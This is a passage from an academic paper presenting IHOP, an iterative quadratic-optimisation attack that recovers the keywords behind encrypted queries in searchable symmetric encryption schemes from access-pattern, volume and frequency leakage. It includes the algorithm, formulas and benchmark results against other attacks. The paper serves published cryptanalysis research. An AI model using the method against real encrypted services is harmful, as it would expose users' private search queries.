Although PANCAKE does not hide query correlations, a pre-
liminary analysis shows that it still provides sufficient protec-
tion in that case [14]. We adapt IHOP against PANCAKE when
client’s queries follow a Markov process, and show that our
attack can effectively exploit query correlations to recover
keywords (in our example, IHOP achieves ≈ 48% accuracy
when the adversary has low-quality auxiliary information
about the client’s querying behavior, and ≈ 69% accuracy
when the adversary has high-quality information).

In summary, we propose a statistical-based query recov-
ery attack that outperforms all other known attacks when
the adversary does not have ground-truth information on the
client’s dataset or queries [18, 26, 31, 34]. Our results show
that statistical-based query recovery attacks pose a serious
threat to SSE schemes, since they can achieve high recov-
ery rates without access to ground-truth information and can
adapt against volume and frequency-hiding defenses.

2 Related work

Since their inception [8,37], many authors have proposed SSE
schemes with different privacy and utility trade-offs. Design-
ing SSE schemes without access pattern leakage implies lever-
aging expensive primitives such as ORAM [12] or PIR [7],
which incurs expensive bandwidth, computational, and stor-
age costs, while still being vulnerable to certain volume-based

attacks [15, 20, 33]. In this work we target efficient and de-
ployable SSE schemes that leak the access and search pat-
terns [2, 4, 5, 8, 17, 19, 23, 24, 28, 30, 37, 38]. We consider SSE
schemes where the client performs keyword queries (i.e., the
client queries for a single keyword to retrieve all documents
that match that keyword) and the adversary is an honest-but-
curious service provider that performs a query recovery attack
to guess the underlying keywords of the client’s queries.

Query recovery attacks can be broadly classified depending
on the auxiliary data they require into ground-truth attacks [1,
3,9,18,29], which partially know some of the client’s queries
or database, and statistical-based attacks [18, 26, 31, 34], that
have statistical information about the database and client’s
querying behavior (e.g., a set of non-indexed documents).

Ground-truth attacks Islam et al. [18] propose one of the
first query recovery attacks (IKK) that assumes full dataset
knowledge and partial query knowledge. Their attack exploits
access pattern leakage to compute volume co-occurrence ma-
trices and solves a quadratic optimization problem using simu-
lated annealing. Cash et al. [3] propose the count attack, which
improves upon IKK by requiring only partial database knowl-
edge. This attack follows an iterative algorithm that keeps
reducing the set of candidate keywords for each unknown
query until only one feasible candidate remains. Blackstone
et al. [1] propose an attack based on subgraphs that follows
different refinement heuristics to the count attack, outperform-
ing it. Recently, Damie et al. [9] proposed a hybrid attack that
uses ground-truth query knowledge, but only statistical dataset
information, and Ning et al. [29] propose a ground-truth attack
that achieves both keyword and document recovery.

Statistical-based attacks Even though IKK originally as-
sumes ground-truth dataset and query knowledge [18], this
attack can also be evaluated in the setting where only statisti-
cal information is available (see Sec. 5). The graph matching
attack (GraphM) by Pouliot and Wright [34] uses volume infor-
mation computed from access-pattern leakage, like IKK, but
uses a more refined optimization function and looks for a solu-
tion using graph matching algorithms [39,42]. The frequency-
only attack (Freq) by Liu et al. [26] exploits search-pattern
leakage and auxiliary information about the client’s query-
ing behavior to perform query recovery. Recently, Oya and
Kerschbaum [31] proposed SAP, an attack that exploits both
volume and frequency information to efficiently solve a linear
assignment problem using known optimal solvers [11].

Even though query recovery rates achieved by statistical-
based attacks are typically below those achieved by ground-
truth attacks, due to their weaker auxiliary knowledge assump-
tions, statistical-based attacks can be easily tuned [31] against
volume-padding defenses [6, 10, 32]. Ground-truth attacks,
however, perform poorly against such defenses [36], since
they are designed to use exact information about the data and
the defenses typically randomize the leaked patterns.
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3 Problem Statement

3.1 Overview

Our system model consists of two parties: a client and a server.
The client owns a privacy-sensitive dataset that she wishes
to store remotely on the server. The server offers storage ser-
vices (e.g., it is a cloud storage provider), but is not trusted
by the client. The client encrypts each document using sym-
metric encryption, and sends the encrypted documents to the
server. Each document has a set of keywords attached to it,
and the client wishes to be able to issue keyword queries, i.e.,
queries that retrieve all the documents that contain a particular
a keyword.1 In order to achieve this search functionality in
the encrypted dataset, the client uses a Searchable Symmetric
Encryption (SSE) scheme. This SSE scheme has an initializa-
tion step where the client generates an encrypted search index,
which she sends to the server alongside the encrypted docu-
ments. Later, when the client wishes to query for a particular
keyword, she generates a query token from that keyword and
sends it to the server. The server evaluates the query token in
the encrypted search index, which reveals which encrypted
documents should be returned to the client in response.

The server is honest-but-curious, i.e., it follows the protocol
specifications, but might be interested in learning sensitive
information from the client from passive observation. We
focus on an adversary that wants to guess the underlying
keywords of the client’s issued query tokens, i.e., to perform
a query recovery attack. This can in turn help the adversary
guess the keywords attached to each encrypted document
(database recovery attack).

Even though encrypting the documents and hiding which
documents contain each keyword through the encrypted
search index prevents the adversary from trivially matching
query tokens to keywords, most efficient SSE schemes leak
certain information that can be used to carry out a query re-
covery attack, with the help of certain auxiliary information.
There are two typical sources of leakage in existing SSE
schemes: access pattern leakage and search pattern leakage.

The access pattern of a query is the list of document iden-
tifiers that match the given query (i.e., the identifiers of the
documents that the server returns to the client in response to
the query). The search pattern refers to whether or not two
queries are identical (i.e., whether they have the same underly-
ing keyword). An adversary with auxiliary information about
how often the client queries for particular keywords, or how
many documents have certain keywords, can leverage this
leakage to carry out a query recovery attack.

1Note that some works consider datasets where each document is associ-
ated to a single keyword [10, 32] (e.g., the keyword can be the document’s
publication date), and thus queries for different keywords always return dis-
joint sets of documents. The attacks we consider in this paper rely on volume
co-occurrence leakage, which only occurs when at least some documents
have more than one keyword.

Nd Number of documents in the dataset.
n Total number of keywords, n .

= |∆k |.
m Total number of observed query tokens, m .

= |∆τ |.
ρ Number of queries issued by the client.
D Dataset D .

= {d1,d2, . . . ,dNd}
∆k Keyword universe ∆k

.
= [k1,k2, . . . ,kn].

∆τ Token universe ∆τ

.
= [τ1,τ2, . . . ,τm].

ki ith keyword, with i ∈ [n].
τ j jth query token, with j ∈ [m].
a j Access pattern for token τ j (Nd×1).
V Matrix of observed token volumes (m×m).
Ṽ Matrix of auxiliary keyword volumes (n×n).
f Vector of observed token frequencies (m×1).
f̃ Vector of auxiliary keyword frequencies (n×1).

F Markov matrix of observed token freqs. (m×m).
F̃ Markov matrix of auxiliary keyword freqs. (n×n).

Table 1: Summary of notation

3.2 Formal Problem Description and Notation

We formalize the problem described above and introduce our
notation, which we summarize in Table 1. We note that this
general description is not tailored to a specific SSE scheme,
but accommodates a broad family of SSE schemes that leak
the access and search patterns [2, 4, 5, 8, 17, 19, 24, 28, 37, 38].

We use boldface lowercase characters for vectors (e.g., a),
and boldface uppercase characters for matrices (e.g., A). The
transposition of A is AT , and Ai, j is the i, jth entry of A. All
products between matrices and vectors are dot products. We
use [n] .= {1,2, . . . ,n} for a positive integer n.

We denote the client’s dataset by D .
= {d1,d2, . . . ,dNd},

where Nd is the number of documents. We refer to the doc-
uments by their index, and assume that they are randomly
shuffled during setup so that their index does not reveal any
information about their content. Each document has a set of
keywords attached to it, and keywords belong to the keyword
universe ∆k

.
= {k1,k2, . . . ,kn}, of size n. The client encrypts

each document d ∈ D, uses an SSE scheme to generate an
encrypted search index, and sends the encrypted dataset and
index to the server. In order to query for a particular keyword
k ∈ ∆k , the client first generates a query token τ using k, and
she sends it to the server. The server evaluates the query token
τ on the encrypted search index, which reveals the access
pattern, i.e., the indices of the documents that match the query.
We represent the access pattern of a token τ j as a column
vector a j of length Nd whose ℓth entry is 1 if dℓ matches the
query, and 0 otherwise. We consider SSE schemes that reveal
the search pattern, i.e., they reveal whether or not two query
tokens were generated with the same underlying keyword.
Thus, in our notation we use τ j and τ j′ ( j ̸= j′) for two to-
kens that have been generated with different keywords. We
use ∆τ

.
= {τ1,τ2, . . . ,τm} to denote the set of all (m) distinct

tokens observed by the adversary.
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3.2.1 Adversary’s observation and auxiliary information

We use obs to denote the adversary’s observation, which cor-
responds to both the leakage of the SSE scheme during its
initialization step and while the client performs queries. Typ-
ically, obs comprises the access and search patterns of the
queries, i.e., obs= [(τ,a)1,(τ,a)2, . . . ,(τ,a)ρ], where (τ,a)r
is the query token and access pattern of the rth query. Most
statistical-based query recovery attacks compute certain sum-
mary statistics from the observation before running the at-
tack [3, 18, 31, 34]. These statistics are typically the volume
and frequency information, which we define next. The matrix
of observed volumes V is an m×m matrix whose j, j′th entry
contains the number of documents that match both query to-
kens τ j and τ j′ , i.e., V j, j′ = aT

j a j′/Nd . The vector of observed
query frequencies f is a vector of length m whose jth entry
contains the number of times the client queried for τ j, normal-
ized by the total number of queries ρ. The (Markov) matrix
of observed query frequencies F is an m×m matrix whose
j, j′th entry contains the number of times the client sent token
τ j′ followed by τ j, normalized by the total number of queries
with token τ j′ (which we denote by ρ(τ j′)).

We use aux to denote the adversary auxiliary’s information.
Since we consider statistical-based attacks, this information
does not contain ground-truth knowledge about the queries
and/or dataset. The adversary uses aux to compute the vectors
and matrices Ṽ, f̃, F̃, whose structure is the same as the vari-
ables that the adversary can compute for the observations (V,
f, F), defined above. In this paper, we generate the auxiliary in-
formation related to keyword volume by giving the adversary
non-indexed documents [9, 31, 34] (i.e., documents not in the
client’s dataset), and auxiliary frequency information by giv-
ing the adversary outdated query frequencies [31]. Note that
the observed variables (V, f, F) refer to volume and frequency
statistics computed from the query tokens, but the auxiliary
variables (Ṽ, f̃, F̃) refer to the keywords. For example, Ṽ is an
n×n matrix whose i, i′th entry contains an approximation of
the percentage of documents that have both keywords ki and
ki′ in the dataset. In most of the SSE schemes we consider
in this paper, there is a one-to-one correspondence between
keywords and tokens, which the adversary aims to guess.2 We
note that auxiliary information is imprecise: the actual per-
centage of documents with keywords ki and ki′ in the dataset
will likely differ from Ṽi,i′ .

3.2.2 Leakage scenarios

We consider three different leakage scenarios in our paper.
These scenarios abstract from the actual SSE scheme being
used, and all SSE schemes that have at least this leakage are
subject to the attacks we study in that setting.

• S1: full access-pattern leakage, no queries. In this

2We also consider two schemes where different tokens might correspond
to the same keyword [13, 36]; we explain the details in Sections 5.2 and 6.

scenario, the client uses a scheme whose initialization
step leaks which documents are returned as a response
to each query token. (This corresponds to the leakage
type L2 by Cash et al. [3].) A simple example of this is
a scheme where the client uses deterministic encryption
to generate a query token from a keyword, and simply
sends the server the list of encrypted documents with
the query tokens corresponding to the keywords they
contain. In this setting, we run the attack before the client
has performed any query. The adversary’s observation
is therefore obs = [a1,a2, . . . ,am], and thus the attack
relies solely on volume information (V and Ṽ).

This setting includes academic proposals [17,24] as well
as commercial products (e.g., see Cash et al. [3]).

• S2: access-pattern leakage for queries. In this scenario,
the initialization step does not leak any information. The
client issues queries, and each token τ leaks its access
pattern a, i.e, the list of documents returned in response
to that token. (This corresponds to the leakage type L1
by Cash et al. [3].) Let (τ,a)r be the query token and
access pattern of the rth query and assume that the client
performs ρ queries in total. The adversary’s observation
is obs= [(τ,a)1,(τ,a)2, . . . ,(τ,a)ρ]

In this scenario, some keywords might never be queried,
so the adversary might not see all possible access pat-
terns (m≤ n), contrary to S1. We study two cases: when
the adversary does not have auxiliary frequency infor-
mation and thus it relies on volume information only (V
and Ṽ), and when the adversary can additionally exploit
independent query frequencies (f and f̃) to aid the attack.

Most efficient SSE schemes exhibit at least this leak-
age [2, 4, 5, 8, 17, 19, 23, 24, 28, 30, 37, 38]

• S3: frequency-only leakage. Finally, we consider a set-
ting identical to S2 where each keyword matches ex-
actly one document, and no two keywords match the
same document. This means that n = Nd and, with-
out loss of generality, ki matches only di. In this case,
only frequency information is useful for query recovery:
obs= [(τ)1,(τ)2, . . . ,(τ)ρ].

We consider this setting to evaluate the effectiveness of
our attack in the presence of query dependencies without
volume leakage (i.e., the adversary only uses F and F̃).
This is important since our attack is the first query recov-
ery attack that can exploit query correlations (besides
the attack example in the appendix of [14]).

3.2.3 Adversary’s goal and success metrics

The goal of the adversary is to carry out a query recovery
attack, i.e., to find the underlying keywords of each query
token. The outcome of the attack is therefore an injective
(one-to-one) mapping from the set of query tokens to the set
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of keywords, which we denote by p(·) : [m]→ [n]. For ex-
ample, p( j) = i denotes that the adversary guesses that the
underlying keyword of token τ j is ki. We sometimes represent
this mapping as an n×m matrix P where Pi, j = 1 if p( j) = i,
and 0 otherwise. We use P to denote the set of all valid map-
pings P, i.e., P .

= {P|1T
n P = 1T

m,P1m ≤ 1n,P ∈ {0,1}n×m},
where 1n is an all-ones column vector of length n.

A query recovery attack takes the observations obs and
auxiliary information aux as input, and produces a mapping of
query tokens to keywords P as output. We measure the success
of an attack as the percentage of observed query tokens (τ ∈
∆τ) for which the attack correctly guesses their underlying
keyword. This is the most popular success metric in previous
works, and it is referred to as the attack accuracy [18, 26, 31,
34] or the query recovery rate [1, 3].

4 Quadratic Query Recovery with IHOP

In this section, we present our query recovery attack, which
we call IHOP (Iteration Heuristic for quadratic Optimization
Problems). We begin with an overview of statistical query
recovery attacks, noticing that some solve linear optimization
problems, while others are based on quadratic problems. We
then propose IHOP, which uses a linear optimization solver
to iteratively look for a (suboptimal) solution to a quadratic
query recovery problem. IHOP is a general algorithm that can
be used to minimize different quadratic objective functions.
We particularize it to use the volume and frequency statistics
we mentioned in Section 3.2.1, using a maximum likelihood-
based objective function. We evaluate the performance of
IHOP in Sections 5 and 6.

4.1 Linear and Quadratic Query Recovery
Most query recovery attacks can be framed as an optimization
problem, where the adversary tries to find the assignment of
keywords to query tokens P that minimizes a certain objective
function. These problems are typically linear or quadratic
with respect to P. Linear query recovery attacks [26, 31] can
be formulated as

P = argmin
P∈P

∑
i∈[n]

∑
j∈[m]

ci, j, ·Pi, j . (1)

This problem follows the structure of a Linear Assignment
Problem (LAP), which can be optimally solved with a compu-
tational cost of O(n ·m+m2 · logm) [11]. The constants ci, j
represent the cost of assigning keyword ki to token τ j.

Quadratic query recovery attacks follow the formulation

P = argmin
P∈P

∑
i,i′∈[n]

∑
j, j′∈[m]

ci,i′, j, j′ ·Pi, j ·Pi′, j′ , (2)

where ci,i′, j, j′ is the cost of jointly assigning keyword ki to to-
ken τ j and ki′ to token τ j′ . This mathematical problem follows
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Figure 1: One iteration of IHOP

Lawler’s [25] formulation of the general Quadratic Assign-
ment Problem (QAP), which is known to be NP-complete [35].
Existing attacks that follow this formulation thus rely on sub-
optimal heuristic algorithms to find a solution [18, 34].

4.2 Quadratic Query Recovery via Linear As-
signments

While there are efficient optimal solvers for the LAP (1),
solvers for the QAP are suboptimal and heuristic. However,
attacks based on a LAP cannot exploit the quadratic terms
in a QAP that can contain valuable information for query
recovery. We present IHOP, a query recovery attack that relies
on efficient solvers for the LAP to iteratively solve a QAP.

We first explain a single iteration of our attack at a high
level, and then we present its formal description. Figure 1
shows a toy example of an iteration of our attack. At the
beginning of this iteration, the attack has an assignment of
tokens to keywords P (Fig. 1a). Then, it fixes some of those
assignments at random (denoted P•, see Fig. 1b) and frees the
remaining keywords and query tokens. The sets of free query
tokens ∆◦τ , fixed query tokens ∆•τ , free keywords ∆◦k , and fixed
keywords ∆•k for this example are shown in the bottom of the
figure. The attack re-computes an assignment of the free query
tokens to the free keywords, leveraging the fixed assignment
P• to improve the re-estimation (Fig. 1c). This yields an
update of the assignment P and ends the iteration (Fig. 1d).
The idea of this approach is that, if some assignments are fixed,
we can use the quadratic terms involving those assignments
and the assignments we wish to update while keeping the
optimization problem linear.

We formally describe the attack in Algorithm 1. The attack
receives the observations obs and auxiliary information aux,
and two parameters: the number of iterations niters and the
percentage of free tokens for each iteration p f ree. The attack
begins with an initialization step, where it computes P by
solving a linear problem SolveLinear that we specify below
(Line 2). Then, it iterates niters times. At each iteration, the
attack splits the set of query tokens ∆τ at random into two
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Algorithm 1 IHOP

1: procedure IHOP(aux,obs,niters, p f ree)
2: P← SolveLinear(∆k ,∆τ , /0, /0, /0,aux,obs)
3: for i← 1 . . .niters do

4: ∆◦τ
⌈p f ree·m⌉←−−−−− ∆τ ▷ Choose p f ree ·m tokens

5: ∆•τ = {τ j|τ j ∈ ∆τ ,τ j /∈ ∆◦τ} ▷ Fixed tokens
6: ∆•k = {ki|i = p( j),ki ∈ ∆k ,τ j ∈ ∆•τ}
7: ∆◦k = {ki|ki ∈ ∆k ,ki /∈ ∆•k}
8: P• = {τ j→ kp( j)|τ j ∈ ∆•τ}
9: P◦← SolveLinear(∆◦k ,∆

◦
τ ,∆
•
k ,∆
•
τ ,P•,aux,obs)

10: P← combine(P◦,P•)
11: return P

Algorithm 2 SolveLinear
1: procedure SolveLinear(∆◦k ,∆

◦
τ ,∆
•
k ,∆
•
τ ,P•,aux,obs)

2: Get c≡ {ci,i′, j, j′} and d ≡ {di, j} using aux, obs.
3: Solve the linear assignment problem:

P◦ = argmin
P◦∈P ◦

∑
ki∈∆◦k

∑
τ j∈∆◦τ

 ∑
τ j′∈∆•τ

∑
ki′∈∆•k

ci,i′, j, j′ ·P◦i, j ·P•i′, j′ +di, j ·P◦i, j

 .

4: return P◦

groups: the group of free tokens ∆◦τ , which contains ⌈p f ree ·
m⌉ tokens (Line 4), and the group of fixed tokens ∆•τ , which
contains all the other tokens (Line 5). Let ∆•k be the set of
keywords assigned to tokens in ∆•τ by P, and let ∆◦k be the set
of all the keywords not in ∆•k ; i.e., the free keywords (Lines
6–7). The fixed matching P• is the bijective mapping of ∆•τ →
∆•k extracted from P (Line 8). Then, the attack looks for an
assignment P◦ of the free tokens ∆◦τ to the free keywords ∆◦k by
solving a linear problem (Line 9). The attack finally updates
P using the newly computed P◦ and the fixed assignment P•,
and this finishes the iteration.

A key component of this attack is the linear problem
SolveLinear: this problem specifies how the adversary uses
the auxiliary information aux, the observations obs, and the
fixed mapping P• to update the matching P in each iteration.
We show this problem in Algorithm 2. This problem is an
instantiation of a QAP (2) that only considers quadratic terms
that depend on P◦ and P•, but never between two terms in
P◦. Thus, the problem is linear (in P◦) and can be written as
a LAP (1). Since this problem is a LAP, it can be efficiently
and optimally solved with the Hungarian algorithm [22, 25].
The constants c and d are computed from obs and aux, and
their actual expression depends on the SSE setting in ques-
tion; below, we give expressions for these constants for the
volume and frequency leakage scenarios we defined in Sec-
tion 3.2.1. The constants di, j are simply the terms ci,i, j, j in (2),
that we write separately from c in Algorithm 2 to distinguish
purely linear coefficients (d) from quadratic ones (c). Our

attack therefore provides a template that researchers can use
to instantiate quadratic query recovery attacks that optimize
different objective functions, captured by c and d.

4.3 Coefficient Selection in IHOP
We follow an approach inspired by maximum likelihood es-
timation to set the values of the coefficients (c and d) in
each iteration of SolveLinear. In short, SolveLinear finds the
assignment between free keywords and tokens P◦ that max-
imizes the log-likelihood of the observations obs given the
auxiliary information aux.

First, we present the expressions when only one source of
leakage is available to the adversary: either volume leakage,
frequency leakage with independent queries, or frequency
leakage with correlated queries. Then, we explain how we
combine them when more than one source of leakage is avail-
able to the adversary. To derive these expressions, we leverage
binomial and Poisson statistical models for the observations
given the auxiliary information. We note that this is merely
a tool to develop our expressions: we run the experiments in
Sections 5 and 6 with real data.

4.3.1 Volume leakage.

Recall that V is the matrix of observed token volumes, and Ṽ
is the matrix of auxiliary keyword volumes. We use a binomial
model to get the coefficients c and d. Namely, assume that,
when keyword ki corresponds to token τ j (denoted ki→ τ j),
the number of documents with token τ j (i.e., Nd ·V j, j) follows
a binomial distribution with Nd trials and probability given
by the auxiliary volume Ṽi,i. Then, the log-likelihood cost of
assigning token τ j to keyword ki is

di, j =− logPr
(
Bino(Nd , Ṽi,i

)
= Nd ·V j, j) , (3)

where Bino denotes a binomial distribution. We added a minus
sign since we aim at maximizing the log-likelihood, but the
linear problem in Alg. 2 is a minimization. Expanding this
probability and ignoring the summands that do not affect the
optimization problem, we get

di, j =−Nd
[
V j, j log(Ṽi,i)− (1−V j, j) log(1− Ṽi,i)

]
. (4)

We follow the same approach for the quadratic terms ci,i′, j, j′ ,
i.e., we assume that when ki→ τ j and ki′ → τ j′ the number of
documents that have both tokens τ j and τ j′ follows a Binomial
distribution parametrized by Ṽi,i′ , and thus the quadratic term
is:

ci,i′, j, j′ =−Nd
[
V j, j′ log(Ṽi,i′)− (1−V j, j′) log(1− Ṽi,i′)

]
.

(5)

4.3.2 Frequency leakage with independent queries.

Recall that f is the vector of observed token frequencies, ρ is
the total number of queries issued by the client, and f̃ is the
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vector of auxiliary keyword frequencies. We use a Poisson
model to derive the attack coefficients. This means that we as-
sume that, when ki→ τ j, the number of times the client sent to-
ken τ j follows a Poisson distribution with rate ρ · f̃i. Thus, the
cost of assigning ki→ τ j is di, j =− logPr

(
Pois(ρf̃i) = ρf j)

)
.

Expanding this expression and ignoring the summands that
do not depend on both i and j, we get

di, j =−ρ · f j · log f̃i . (6)

In this case, the quadratic coefficients are ci,i′, j, j′ = 0 since all
queries are independent.

4.3.3 Frequency leakage with dependent queries.

We extend this approach to the case where we have dependent
queries. Recall that ρ(τ j) is the number of times the client
queried using token τ j, and that F j, j′ contains the number of
times the client queried for token τ j′ followed by τ j, normal-
ized by ρ(τ j′). F̃i,i′ is the probability that the client queried
for ki′ followed by ki, as computed from the auxiliary informa-
tion. For each free token τ j ∈ ∆◦τ , we first compute the overall
probability that the client sent that token after sending any
other free token τ j′ ∈ ∆◦τ ( j ̸= j′):

F j,◦
.
=

∑
τ j′∈∆◦τ\τ j

ρ(τ j′) ·F j, j′

∑
τ j′′∈∆◦τ

∑
τ j′∈∆◦τ\τ j′′

ρ(τ j′) ·F j′′, j′
.

The numerator counts the number of transitions from any
other free token to τ j and the denominator is a normalization
term so that ∑τ j∈∆◦τ F j,◦ = 1. We also define ρ(∆◦τ) as the
number of times the client queried for a free token other than
τ j, i.e., ρ(∆◦τ) = ∑τ j′∈∆◦τ\τ j ρ(τ j′)

Once again we follow a Poisson model to derive the co-
efficients. When ki → τ j, the number of times the client
queried for τ j consecutively (i.e., ρ(τ j) ·F j, j) follows a Pois-
son distribution with rate ρ(τ j) · F̃i,i. Likewise, the number
of times the client queried for another free token followed
by τ j (ρ(∆◦τ) ·F j,◦) follows a Poisson distribution with rate
ρ(τ◦) · F̃i,◦. Thus, similar to (6), we set

di, j =−
[
ρ(τ j) ·F j, j · log(F̃i,i)+ρ(∆◦τ) ·F j,◦ · log(F̃i,◦)

]
.
(7)

To get the quadratic terms, we assume that when ki→ τ j
and ki′→ τ j′ , the number of times the client sent token τ j after
sending τ j′ follows a Poisson distribution with rate ρ(τ j) · F̃i,i′

(and vice-versa when the client queried for τ j′ after τ j), which
yields

ci,i′, j, j′ =−
[
ρ(τ j′) ·F j, j′ · log(F̃i,i′)+ρ(τ j) ·F j′, j · log(F̃i′,i)

]
.

(8)

4.3.4 Leakage combinations

When the scheme allows both volume and frequency leakage,
and the adversary has the corresponding auxiliary information,
we combine the coefficients additively. For example, when
the scheme leaks the volume and the (independent) query
frequencies, we set di, j as the sum of (4) and (6), and ci,i′, j, j′

is simply (5). The intuition behind this is that, since we are
using log-likelihoods, adding coefficients is equivalent to mul-
tiplying probabilities, and thus this approach is the maximum
likelihood estimator when the volume and frequency leakages
are independent.

4.4 IHOP vs. other attacks
IHOP shares certain concepts with previous attacks; we clar-
ify the differences between our attack and related work fol-
lowing. SAP [31] estimates the keywords of each query by
solving a single LAP using a maximum likelihood-based ap-
proach. Therefore, SAP can be written as a single execution
of SolveLinear with only linear (d) coefficients. IHOP can be
seen as an extension of this idea that accommodates quadratic
coefficients (c) and incorporates the linear program in an it-
eration loop (Alg. 1). This results in a more advanced and
altogether different attack. The connection between IHOP and
attacks like GraphM [34] and IKK [18] is that all these attacks
aim at solving a QAP using different heuristics. IKK aims at
minimizing a Frobenius norm ||Ṽ−PVPT ||F , while GraphM
adds an additional linear term to this objective function. IHOP
minimizes a totally different function, characterized by the co-
efficients c and d we explained above. IHOP’s function is the
first one that can incorporate query correlations into the opti-
mization problem (by setting d as in (8) and (7)). Aside from
the objective functions, the solvers for these three attacks are
also completely different: GraphM uses a convex-concave re-
laxation method, IKK uses simulated annealing, and IHOP uses
a novel iterative algorithm based on solving linear problems.

5 Evaluation: Volume-Leaking SSE Schemes

In this section, we compare the performance of our attack
against other attacks on SSE schemes that leak the access
pattern (S1 and S2 leakage scenarios in Section 3.2.1). We
implement our experiments3 using Python3.8, and run our
code in a machine running Ubuntu 16.04, with 1 TB RAM and
an Intel(R) Xeon(R) CPU E7 (2.40GHz, 160 CPUs). We use
Oya and Kerschbaum’s implementation of SAP [31] and the
PATH algorithm [42] from GraphM package4 to implement
Pouliot and Wright’s GraphM attack [34].

We use five public datasets: Enron, Lucene, Movies, News,
and NYTimes. In Appendix C, we explain how we obtain and
process these datasets, and show their statistical differences

3https://github.com/simon-oya/USENIX22-ihop-code
4https://projects.cbio.mines-paristech.fr/graphm/
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(Fig. 12). During this processing, we keep the 3000 most
popular keywords of each dataset, and remove the rest. We
download the query frequencies of each of those keywords
for each week of 2020 from Google Trends 5 using the gtab
package [41]. We found that our results are qualitatively simi-
lar across datasets. Thus, in most of our experiments we show
only results in a few datasets, and provide the complete results
in an extended version of this paper.

We compare IHOP with other statistical-based attacks, and
disregard attacks that rely on ground-truth data [1, 3, 9, 29],
since we do not consider this type of leakage in this paper.

• SAP [31] is an attack by Oya and Kerschbaum that uses
search and access-pattern leakage and a maximum like-
lihood approach to solve a LAP (1). We use the orig-
inal implementation by the authors. We set the hyper-
parameter α = 0.5 as recommended by the authors.

• GraphM [34] is the graph matching attack by Pouliot
and Wright, which aims at minimizing the function (1−
α)||Ṽ−PVPT ||2F−αTr(PT C), where || · ||F denotes the
Frobenius norm and C is a maximum likelihood-based
term. Following the original work [34], we use the PATH
algorithm [42] to find a solution to this problem. We use
α = 0.5, since we empirically found it performs best.

• IKK [18] aims at minimizing ||Ṽ−PVPT ||F using sim-
ulated annealing [21]. We set the initial temperature
parameter of simulated annealing to T = 100, a cooling
factor of pcool = 0.99995, and end the algorithm when
T < 10−10. This yields running times close to GraphM’s.

• Freq is the frequency attack by Liu et al. [26], which
uses exclusively frequency information, and simply
maps each query token to the keyword whose frequency
is closest in Euclidean distance.

We tested other generic algorithms for the QAP ap-
plied to ||Ṽ− PVPT ||F , namely the spectral algorithm by
Umeyama [39] (Umeyama) and the fast projected fixed-point
algorithm by Lu et al. [27] (FastPFP). We found these al-
gorithms provide significantly lower accuracy than the other
attacks in this list, so we omit them from the paper.

In our experiments, we vary the keyword universe size (n)
and dataset size (Nd). Given a value of n, we simply build the
keyword universe in each run of the experiment by selecting
n keywords at random from the set of 3000. Given a value of
Nd , we sample Nd documents from the dataset at random to
build the client’s dataset. We also give the adversary Naux

d non-
indexed documents selected at random (i.e., they are not in the
client’s dataset) as auxiliary information to compute Ṽ. We
repeat all of our experiments 30 times, measuring the query
recovery accuracy and the running time of the attacks. We run
each attack in a single thread, ensuring that our running time

5https://trends.google.com/trends
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Figure 2: Evolution of IHOP’s accuracy with the number of
iterations and different p f ree values in Enron dataset. (S1)

comparisons are fair. Shaded areas in our plots represent the
95% confidence intervals for the average accuracy.

5.1 Volume-only leakage attacks
We consider the setting where the adversary has auxiliary
volume information only, and relies on access pattern leakage
to estimate the keywords of each query. Since we do not con-
sider frequency information, we set the coefficients of IHOP
as in (4) and (5). We evaluate attacks that use volume (IHOP,
SAP, IKK, GraphM) and exclude Freq from these experiments.

We first consider the case where the adversary observes the
access pattern of each query token during initialization (S1,
m = n). Later, we consider the case where only the access
pattern of the queried tokens is leaked (S2, m≤ n).

IHOP parametrization (S1). We perform an initial exper-
iment to understand how the number of iterations niters and
the percentage of free tokens p f ree affect the performance of
IHOP. Figure 2 shows the attack accuracy (percentage of cor-
rectly guessed query tokens) with the number of iterations, for
different values of p f ree, in Enron dataset with n = 500 key-
words, Nd = 20000 client documents, and Naux

d = 5000 auxil-
iary information documents for the adversary. We see that the
accuracy increases with the number of iterations and that it
converges in all cases, reaching a point where increasing niters
does not yield further improvement. With p f ree = 0.25, the
attack grows from an accuracy of 4.1% before iterating to an
accuracy of 78.7% at 200 iterations, after running for only 38
seconds. Larger p f ree values allow the algorithm to converge
faster, since the algorithm re-computes more assignments per
iteration in those cases. However, a small p f ree increases the
number of quadratic terms that are exploited in each iteration,
and thus yields higher asymptotic accuracy. We also note that
smaller p f ree implies faster running times, since each iteration
of IHOP uses the Hungarian algorithm which has a cost that
is O(n ·m′+m′2 · logm′) [11], where m′ = ⌈m · p f ree⌉. The
running time of IHOP for p f ree = 0.1,0.25,0.5, and 0.75 in
Enron was 0.14, 0.19, 0.34, and 0.46 seconds per iteration, re-
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spectively. We use p f ree = 0.25 in the remainder of the paper,
since it offers a good trade-off between convergence speed
and asymptotic performance.

Attack comparison with Naux
d (S1). We compare the per-

formance of the different attacks in the S1 setting. We set the
number of keywords to n= 500, since GraphM is computation-
ally expensive. We build the client’s dataset with Nd = 20000
documents, and vary the amount of documents we give the
adversary as auxiliary information Naux

d ∈ [500,10000]. Fig-
ure 3 shows the results (we used IHOP with 1000 iterations
and p f ree = 0.25). We see that the attacks’ accuracy increases
as the quality of the auxiliary information grows. The accu-
racy depends on the dataset, but we see that IHOP achieves
higher accuracy than other attacks except in the particular
case of Enron with Naux

d = 500 and 1000. The average run-
ning times of the attacks in Enron, which are similar across
Naux

d , are 33 seconds for SAP, 231 seconds for IHOP, 3.3 hours
for GraphM, and 2.3 hours for IKK.

Attack comparison with n (S1). Next, we study how the
keyword universe size affects the performance of the attacks.
We set Nd = 20000 and Naux

d = 10000, and progressively
increase n from 500 to 1000. Figure 4 shows the results
in Enron and Lucene datasets. The top plots show that the
attack accuracy remains steady for IHOP, slightly decreases
for GraphM, and significantly decreases for IKK. The bottom
plots show the running times in logarithmic scale. We see that
GraphM and IKK quickly become unfeasible as the keyword
universe size increases: with n = 1000 keywords, GraphM
takes around 3 days to finish, while IHOP ends in 15 minutes
and achieves higher accuracy.

Attack comparison with n and fixed number of observed
tokens m (S2). We repeat the previous experiment in the
setting where only the access patterns of the queried key-
words are leaked (S2). We fix the number of distinct key-
words queries (i.e., distinct tokens observed) to m = 500, and
increase n as above. This means that the adversary observes
the access pattern of m = 500 query tokens and has to guess
their corresponding keywords from a larger set n≥ 500. We
show the results in Figure 5. As expected, the accuracy of
all attacks decreases in this case compared to when all ac-
cess patterns are observed. GraphM is particularly affected by
this. This is due to a limitation of the objective function that
GraphM minimizes (||Ṽ−PVPT ||2F unfairly penalizes unas-
signed keywords when n ≥ m). IHOP achieves the highest
